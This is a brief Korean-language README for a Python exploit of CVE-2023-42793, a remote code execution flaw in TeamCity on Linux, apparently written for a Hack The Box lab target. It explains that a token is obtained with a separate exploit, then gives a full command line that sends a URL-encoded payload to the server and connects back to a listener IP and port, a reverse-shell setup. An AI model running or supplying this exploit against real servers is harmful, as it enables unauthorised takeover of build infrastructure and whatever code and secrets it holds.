
TeamCity Linux 서버에서 URL에 페이로드를 인코딩하여 대상에 전송함으로써 원격 코드 실행을 달성하는 CVE-2023-42793용 Python 익스플로잇입니다.
먼저 다른 익스플로잇을 사용하여 토큰을 획득해야 합니다. 그러나 다음 익스플로잇을 사용하면 페이로드를 URL로 인코딩하여 서버로 전송하므로 Linux 서버에 RCE를 획득할 수 있습니다.
python3 ./main -t TEAMCITY_TOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENER_IP -np LISTENER_PORT